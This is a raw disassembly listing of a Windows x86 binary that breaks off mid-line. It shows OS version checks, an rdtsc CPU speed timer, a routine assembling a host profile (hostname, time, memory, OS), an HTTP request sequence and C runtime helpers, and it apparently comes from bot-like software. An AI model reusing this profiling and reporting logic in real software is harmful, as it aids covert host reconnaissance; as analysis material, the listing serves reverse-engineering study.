mov [ebp+var_94], 94h nop call near ptr 26E049Bh test eax, eax jz short loc_41A987 cmp [ebp+var_90], 4 jnz short loc_41A95D cmp [ebp+var_8C], esi jnz short loc_41A945 cmp [ebp+var_84], 1 jnz short loc_41A938 push 1 pop esi loc_41A938: ; CODE XREF: sub_41A8F4+3Fj cmp [ebp+var_84], 2 jnz short loc_41A987 push 1 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A945: ; CODE XREF: sub_41A8F4+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A952 loc_41A94E: ; CODE XREF: sub_41A8F4+78j push 2 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A952: ; CODE XREF: sub_41A8F4+58j cmp [ebp+var_8C], 5Ah jnz short loc_41A987 jmp short loc_41A977 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej cmp [ebp+var_90], 5 jnz short loc_41A987 cmp [ebp+var_8C], esi jz short loc_41A94E cmp [ebp+var_8C], 1 jnz short loc_41A97B loc_41A977: ; CODE XREF: sub_41A8F4+67j push 3 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A97B: ; CODE XREF: sub_41A8F4+81j cmp [ebp+var_8C], 2 jnz short loc_41A987 push 7 loc_41A986: ; CODE XREF: sub_41A8F4+4Fj ; sub_41A8F4+5Cj ... pop esi loc_41A987: ; CODE XREF: sub_41A8F4+25j ; sub_41A8F4+4Bj ... mov eax, esi pop esi leave retn sub_41A8F4 endp ; =============== S U B R O U T I N E ======================================= sub_41A98C proc near ; CODE XREF: sub_41AA42+290p push ebx push esi push edi mov esi, 0F4240h loc_41A994: ; CODE XREF: sub_41A98C+2Fj ; sub_41A98C+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call near ptr 2690000h nop rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A994 jb short loc_41A9C3 cmp ebx, esi ja short loc_41A994 loc_41A9C3: ; CODE XREF: sub_41A98C+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA36 jb short loc_41A9E2 cmp esi, 50h jnb short loc_41A9E7 loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj push 4Bh xor edx, edx pop eax loc_41A9E7: ; CODE XREF: sub_41A98C+54j test ecx, ecx ja short loc_41AA36 jb short loc_41A9F2 cmp esi, 47h jnb short loc_41A9F7 loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj push 42h xor edx, edx pop eax loc_41A9F7: ; CODE XREF: sub_41A98C+64j test ecx, ecx ja short loc_41AA36 jb short loc_41AA02 cmp esi, 37h jnb short loc_41AA07 loc_41AA02: ; CODE XREF: sub_41A98C+6Fj push 32h xor edx, edx pop eax loc_41AA07: ; CODE XREF: sub_41A98C+74j test ecx, ecx ja short loc_41AA36 jb short loc_41AA12 cmp esi, 26h jnb short loc_41AA17 loc_41AA12: ; CODE XREF: sub_41A98C+7Fj push 21h xor edx, edx pop eax loc_41AA17: ; CODE XREF: sub_41A98C+84j test ecx, ecx ja short loc_41AA36 jb short loc_41AA22 cmp esi, 1Eh jnb short loc_41AA27 loc_41AA22: ; CODE XREF: sub_41A98C+8Fj push 19h xor edx, edx pop eax loc_41AA27: ; CODE XREF: sub_41A98C+94j test ecx, ecx ja short loc_41AA36 jb short loc_41AA32 cmp esi, 0Ah jnb short loc_41AA36 loc_41AA32: ; CODE XREF: sub_41A98C+9Fj xor eax, eax xor edx, edx loc_41AA36: ; CODE XREF: sub_41A98C+4Dj ; sub_41A98C+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43D128 mov [ebp+var_CC], 94h call near ptr 26E049Bh nop xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AAC9 cmp [ebp+var_C4], ebx jnz short loc_41AAA5 cmp [ebp+var_BC], 1 jnz short loc_41AA8F mov [ebp+var_4], offset dword_43127C loc_41AA8F: ; CODE XREF: sub_41AA42+44j cmp [ebp+var_BC], 2 jnz loc_41AB44 mov [ebp+var_4], offset dword_431278 jmp short loc_41AB15 ; --------------------------------------------------------------------------- loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB7 mov [ebp+var_4], offset dword_431274 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB05 mov [ebp+var_4], offset dword_431270 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAC9: ; CODE XREF: sub_41AA42+33j cmp [ebp+var_C8], 5 jnz short loc_41AB05 cmp [ebp+var_C4], ebx jnz short loc_41AAE3 mov [ebp+var_4], offset dword_43126C jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAE3: ; CODE XREF: sub_41AA42+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF5 mov [ebp+var_4], offset dword_431268 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAF5: ; CODE XREF: sub_41AA42+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0C loc_41AB05: ; CODE XREF: sub_41AA42+7Cj ; sub_41AA42+8Ej mov [ebp+var_4], offset dword_431260 loc_41AB0C: ; CODE XREF: sub_41AA42+73j ; sub_41AA42+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB44 loc_41AB15: ; CODE XREF: sub_41AA42+61j cmp [ebp+var_B8], bl jz short loc_41AB44 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB44: ; CODE XREF: sub_41AA42+54j ; sub_41AA42+D1j ... mov ax, word_437834 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CAE54 loc_41AB65: ; DATA XREF: sub_542C3C+17393o mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7D lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj push [ebp+arg_4] call sub_40AC0F pop ecx push eax call dword_4CAFB4 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_41ABA6 push dword ptr [eax] jmp short loc_41ABAB ; --------------------------------------------------------------------------- loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAB: ; CODE XREF: sub_41AA42+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2680AB1h lea eax, [ebp+var_114] push 46h push eax push offset dword_43A10C push ebx mov esi, 409h push ebx push esi call near ptr 2740000h nop lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 273149Ah push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax call near ptr 2840000h nop push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88B add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax call sub_41A98C push edx push eax push offset dword_43A030 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp ; sub_401ACD+72F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB05C, 0 jnz short loc_41AD62 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CAE38 test eax, eax jnz short loc_41AD4B lea eax, [ebp+var_8C] push offset dword_43A194 push eax call sub_41B886 pop ecx pop ecx loc_41AD4B: ; CODE XREF: sub_41ACF6+40j test [ebp+var_C], 1 jz short loc_41AD58 push offset dword_43A18C jmp short loc_41AD5D ; --------------------------------------------------------------------------- loc_41AD58: ; CODE XREF: sub_41ACF6+59j push offset off_43A188 loc_41AD5D: ; CODE XREF: sub_41ACF6+60j lea eax, [ebp+var_8] jmp short loc_41AD7A ; --------------------------------------------------------------------------- loc_41AD62: ; CODE XREF: sub_41ACF6+28j mov esi, offset off_43A184 lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A140 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A274 call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CAE70 test eax, eax jz loc_41AF4F cmp [ebp+var_34], ebx jbe short loc_41AE8C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAA push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDE: ; CODE XREF: sub_41ADB5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CAF24 call dword_4CAF48 mov esi, eax cmp esi, ebx jz short loc_41AF67 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CAF3C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6E push ebx push ebx push ebx push ebx push eax call dword_4CAEE8 test eax, eax jz short loc_41AF48 push offset dword_43A258 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj push offset unk_43A21C jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j lea eax, [ebp+var_55C] push offset dword_43A200 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF81 ; --------------------------------------------------------------------------- loc_41AF67: ; CODE XREF: sub_41ADB5+153j push offset unk_43A1D4 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj push offset unk_43A1A4 loc_41AF73: ; CODE XREF: sub_41ADB5+191j ; sub_41ADB5+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAC push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A72 add esp, 14h loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AC pop ecx push esi call dword_4CAFA8 push [ebp+var_4] call dword_4CAFA8 push [ebp+var_1D8] call sub_40B412 pop ecx push ebx nop call near ptr 26F0000h pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41ADB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DAp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB31+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DC904 call near ptr 27B0000h nop loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; ___:0040F089p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DC908 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DC900 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DC904 call near ptr 27C0000h nop mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 call near ptr 2850000h nop mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB2FC, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C2F4 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DC904 nop call near ptr 27C0000h mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2850000h mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB2FC, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2850000h test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB2FC, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T 